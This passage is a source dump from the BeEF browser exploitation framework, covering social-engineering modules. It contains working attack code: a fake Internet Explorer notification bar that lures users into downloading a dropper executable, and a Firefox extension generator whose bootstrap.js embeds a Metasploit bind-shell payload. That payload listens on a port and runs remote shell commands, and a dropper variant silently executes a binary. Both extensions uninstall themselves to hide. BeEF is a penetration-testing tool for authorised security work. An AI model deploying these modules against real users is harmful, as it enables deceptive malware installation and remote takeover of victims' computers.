LS2tqbTTXd0tirzS5J7DrZ/FRIKfINA0D3+/tPcnAEGXVGxt77+aGqqFEb/2w3nNqVtC1xgWeAPgcBLJWjslF9+ET453WUdTgAAAABJRU5ErkJggg==);'}) var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('p',{'id':pid,'style':'padding: 0; margin: 0 50px 0 4px;'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))); $j(hid).append(ell); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); window.location = '<%= @url %>'; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); }); ================================================ FILE: modules/social_engineering/fake_notification_ie/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_notification_ie: enable: true category: "Social Engineering" name: "Fake Notification Bar (IE)" description: "Displays a fake notification bar at the top of the screen, similar to those presented in IE. If the user clicks the notification they will be prompted to download the file specified below.

    You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt." authors: ["xntrik", "bcoles"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/fake_notification_ie/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_notification_ie < BeEF::Core::Command def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" [ { 'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width' => '150px' }, { 'name' => 'notification_text', 'description' => 'Text displayed in the notification bar', 'ui_label' => 'Notification text', 'value' => "This website wants to run the following applet: 'Java' from 'Microsoft Inc'. To continue using this website you must accept the following security popup" } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var xpi_name = '<%= @xpi_name %>'; var ff_extension = '/' + xpi_name + '.xpi'; if(beef.browser.isFF()){ var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html("<%= @notification_text %> "); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); //window.location.href = ff_extension; window.open(ff_extension); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); } }); ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: firefox_extension_bindshell: enable: true category: ["Social Engineering"] name: "Firefox Extension (Bindshell)" description: "Create on the fly a malicious Firefox extension that binds a shell to a specified port.

    The extension is based on the original work from Michael Schierl and his Metasploit module, and joev's Firefox payloads for Metasploit." authors: ["antisnatchor", "bcoles"] target: user_notify: FF: min_ver: 1 max_ver: 56 not_working: ["All"] ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/extension/bootstrap.js ================================================ function startup(data, reason) { var file = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("ProfD", Components.interfaces.nsIFile); file.append("extensions"); xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}"; file.append(xpi_guid); // # ./msfpayload firefox/shell_bind_tcp LPORT=1337 R (function(){ Components.utils.import("resource://gre/modules/NetUtil.jsm"); var lport = __bindshell_port_placeholder__; var rhost = ""; var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"] .createInstance(Components.interfaces.nsIServerSocket); serverSocket.init(lport, false, -1); var listener = { onSocketAccepted: function(serverSocket, clientSocket) { var outStream = clientSocket.openOutputStream(0, 0, 0); var inStream = clientSocket.openInputStream(0, 0, 0); var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"] .createInstance(Components.interfaces.nsIInputStreamPump); pump.init(inStream, -1, -1, 0, 0, true); pump.asyncRead(clientListener(outStream), null); } }; var clientListener = function(outStream) { return { onStartRequest: function(request, context) {}, onStopRequest: function(request, context) {}, onDataAvailable: function(request, context, stream, offset, count) { var data = NetUtil.readInputStreamToString(stream, count).trim(); runCmd(data, function(err, output) { if(!err) outStream.write(output, output.length); }); } }; }; var readFile = function(path) { try { var file = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); file.initWithPath(path); var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"] .createInstance(Components.interfaces.nsIFileInputStream); fileStream.init(file, 1, 0, false); var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"] .createInstance(Components.interfaces.nsIBinaryInputStream); binaryStream.setInputStream(fileStream); var array = binaryStream.readByteArray(fileStream.available()); binaryStream.close(); fileStream.close(); file.remove(true); return array.map(function(aItem) { return String.fromCharCode(aItem); }).join(""); } catch (e) { return ""; } }; var setTimeout = function(cb, delay) { var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer); timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT); return timer; }; var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"] .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; var windows = (ua.indexOf("Windows")>-1); var svcs = Components.utils.import("resource://gre/modules/Services.jsm"); var jscript = ({"src":"\n var b64 = WScript.arguments(0);\n var dom = new ActiveXObject(\"MSXML2.DOMDocument.3.0\");\n var el = dom.createElement(\"root\");\n el.dataType = \"bin.base64\"; el.text = b64; dom.appendChild(el);\n var stream = new ActiveXObject(\"ADODB.Stream\");\n stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);\n stream.Position=0; stream.type=2; stream.CharSet = \"us-ascii\"; stream.Position=0;\n var cmd = stream.ReadText();\n (new ActiveXObject(\"WScript.Shell\")).Run(cmd, 0, true);\n "}).src; var runCmd = function(cmd, cb) { cb = cb || (function(){}); if (cmd.trim().length == 0) { setTimeout(function(){ cb("Command is empty string ('')."); }); return; } var js = (/^\s*\[JAVASCRIPT\]([\s\S]*)\[\/JAVASCRIPT\]/g).exec(cmd.trim()); if (js) { var tag = "[!JAVASCRIPT]"; var sync = true; // avoid zalgo's reach var sent = false; var retVal = null; try { retVal = Function('send', js[1])(function(r){ if (sent) return; sent = true if (r) { if (sync) setTimeout(function(){ cb(false, r+tag+"\n"); }); else cb(false, r+tag+"\n"); } }); } catch (e) { retVal = e.message; } sync = false; if (retVal && !sent) { sent = true; setTimeout(function(){ cb(false, retVal+tag+"\n"); }); } return; } var shEsc = "\\$&"; var shPath = "/bin/sh -c" if (windows) { shPath = "cmd /c"; shEsc = "\^$&"; var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); jscriptFile.append('I5yOzt1neFMfjSYjyY.js'); var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"] .createInstance(Components.interfaces.nsIFileOutputStream); stream.init(jscriptFile, 0x04 | 0x08 | 0x20, 0666, 0); stream.write(jscript, jscript.length); if (stream instanceof Components.interfaces.nsISafeOutputStream) { stream.finish(); } else { stream.close(); } } var stdoutFile = "JKsYPvN0AOYtet5mnB"; var stdout = Components.classes["@mozilla.org/file/directory_service;1"] .getService(Components.interfaces.nsIProperties) .get("TmpD", Components.interfaces.nsIFile); stdout.append(stdoutFile); if (windows) { var shell = shPath+" "+cmd; shell = shPath+" "+shell.replace(/\W/g, shEsc)+" >"+stdout.path+" 2>&1"; var b64 = svcs.btoa(shell); } else { var shell = shPath+" "+cmd.replace(/\W/g, shEsc); shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1"; } var process = Components.classes["@mozilla.org/process/util;1"] .createInstance(Components.interfaces.nsIProcess); var sh = Components.classes["@mozilla.org/file/local;1"] .createInstance(Components.interfaces.nsILocalFile); if (windows) { sh.initWithPath("C:\\Windows\\System32\\wscript.exe"); process.init(sh); var args = [jscriptFile.path, b64]; process.run(true, args, args.length); jscriptFile.remove(true); setTimeout(function(){cb(false, cmd+"\n"+readFile(stdout.path));}); } else { sh.initWithPath("/bin/sh"); process.init(sh); var args = ["-c", shell]; process.run(true, args, args.length); setTimeout(function(){cb(false, readFile(stdout.path));}); } }; serverSocket.asyncListen(listener); })(); try { // Fx < 4.0 Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); } catch (e) {} try { // Fx 4.0 and later Components.utils.import("resource://gre/modules/AddonManager.jsm"); AddonManager.getAddonByID(xpi_guid, function(addon) { addon.uninstall(); }); } catch (e) {} } ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/extension/build/readme.txt ================================================ This is a temp directory where the Firefox extension will be built. ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/extension/chrome.manifest ================================================ content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/extension/install.rdf ================================================ {861fb387-92ce-bb0a-cb48-4b923dbc292b} __extension_name_placeholder__ 1.0 true true toolkit@mozilla.org 1.0 * {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 1.0 * ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/extension/overlay.xul ================================================ ================================================ FILE: modules/social_engineering/firefox_extension_bindshell/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Firefox_extension_bindshell < BeEF::Core::Command class Bind_extension < BeEF::Core::Router::Router before do headers 'Content-Type' => 'application/x-xpinstall', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end get '/' do response['Content-Type'] = 'application/x-xpinstall' extension_path = settings.extension_path print_info "Serving malicious Firefox Extension (Bindshell): #{extension_path}" send_file extension_path.to_s, type: 'application/x-xpinstall', disposition: 'inline' end end def pre_send # gets the value configured in the module configuration by the user @datastore.each do |input| @extension_name = input['value'] if input['name'] == 'extension_name' @xpi_name = input['value'] if input['name'] == 'xpi_name' @lport = input['value'] if input['name'] == 'lport' end mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell" extension_path = "#{mod_path}/extension" # clean the build directory FileUtils.rm_rf("#{extension_path}/build/.", secure: true) # copy in the build directory necessary file, substituting placeholders File.open("#{extension_path}/build/install.rdf", 'w') do |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) end File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__bindshell_port_placeholder__', @lport) } File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") } File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") } extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest'] # create the XPI extension container xpi = "#{extension_path}/#{@xpi_name}.xpi" File.delete(xpi) if File.exist?(xpi) Zip::File.open(xpi, Zip::File::CREATE) do |xpi| extension_content.each do |filename| xpi.add(filename, "#{extension_path}/build/#{filename}") end end # mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specific content-type/disposition) bind_extension = Firefox_extension_bindshell::Bind_extension bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_bindshell/extension/#{@xpi_name}.xpi" BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new) BeEF::Core::Server.instance.remap end def self.options [ { 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' }, { 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' }, { 'name' => 'lport', 'ui_label' => 'Listen Port', 'value' => '1337' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/social_engineering/firefox_extension_dropper/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var xpi_name = '<%= @xpi_name %>'; var base_host ='<%= @base_host %>'; var ff_extension = '/' + xpi_name + '.xpi'; if(beef.browser.isFF()){ var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'}); var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 2px 50px 0 4px; height: 25px; line-height: 25px; font-family: sans-serif; font-size: 12px; padding-bottom: 5px'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html("<%= @notification_text %> "); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); //window.location.href = ff_extension; window.open(base_host+ff_extension); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); } }); ================================================ FILE: modules/social_engineering/firefox_extension_dropper/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: firefox_extension_dropper: enable: true category: ["Social Engineering"] name: "Firefox Extension (Dropper)" description: "Create on the fly a malicious Firefox extension that embeds a dropper you can specify (add it to the 'dropper' directory).

    The extension is based on the original work from Michael Schierl and his Metasploit module." authors: ["antisnatchor"] target: user_notify: FF: min_ver: 1 max_ver: 56 not_working: ["All"] ================================================ FILE: modules/social_engineering/firefox_extension_dropper/dropper/readme.txt ================================================ Place in this directory the binary you want to drop and execute through the Firefox extension. Make sure to have just ONE file in this directory (other than this readme.txt). ================================================ FILE: modules/social_engineering/firefox_extension_dropper/extension/bootstrap.js ================================================ function startup(data, reason) { var file = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("ProfD", Components.interfaces.nsIFile); file.append("extensions"); xpi_guid="{861fb387-92ce-bb0a-cb48-4b923dbc292b}";payload_name="__payload_placeholder__"; file.append(xpi_guid); file.append(payload_name); var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. getService(Components.interfaces.nsIProperties). get("TmpD", Components.interfaces.nsIFile); tmp.append(payload_name); tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); file.copyTo(tmp.parent, tmp.leafName); var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); process.init(tmp); process.run(false,[],0); try { // Fx < 4.0 Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); } catch (e) {} try { // Fx 4.0 and later Components.utils.import("resource://gre/modules/AddonManager.jsm"); AddonManager.getAddonByID(xpi_guid, function(addon) { addon.uninstall(); }); } catch (e) {} } ================================================ FILE: modules/social_engineering/firefox_extension_dropper/extension/chrome.manifest ================================================ content {861fb387-92ce-bb0a-cb48-4b923dbc292b} ./ overlay chrome://browser/content/browser.xul chrome://{861fb387-92ce-bb0a-cb48-4b923dbc292b}/content/overlay.xul ================================================ FILE: modules/social_engineering/firefox_extension_dropper/extension/install.rdf 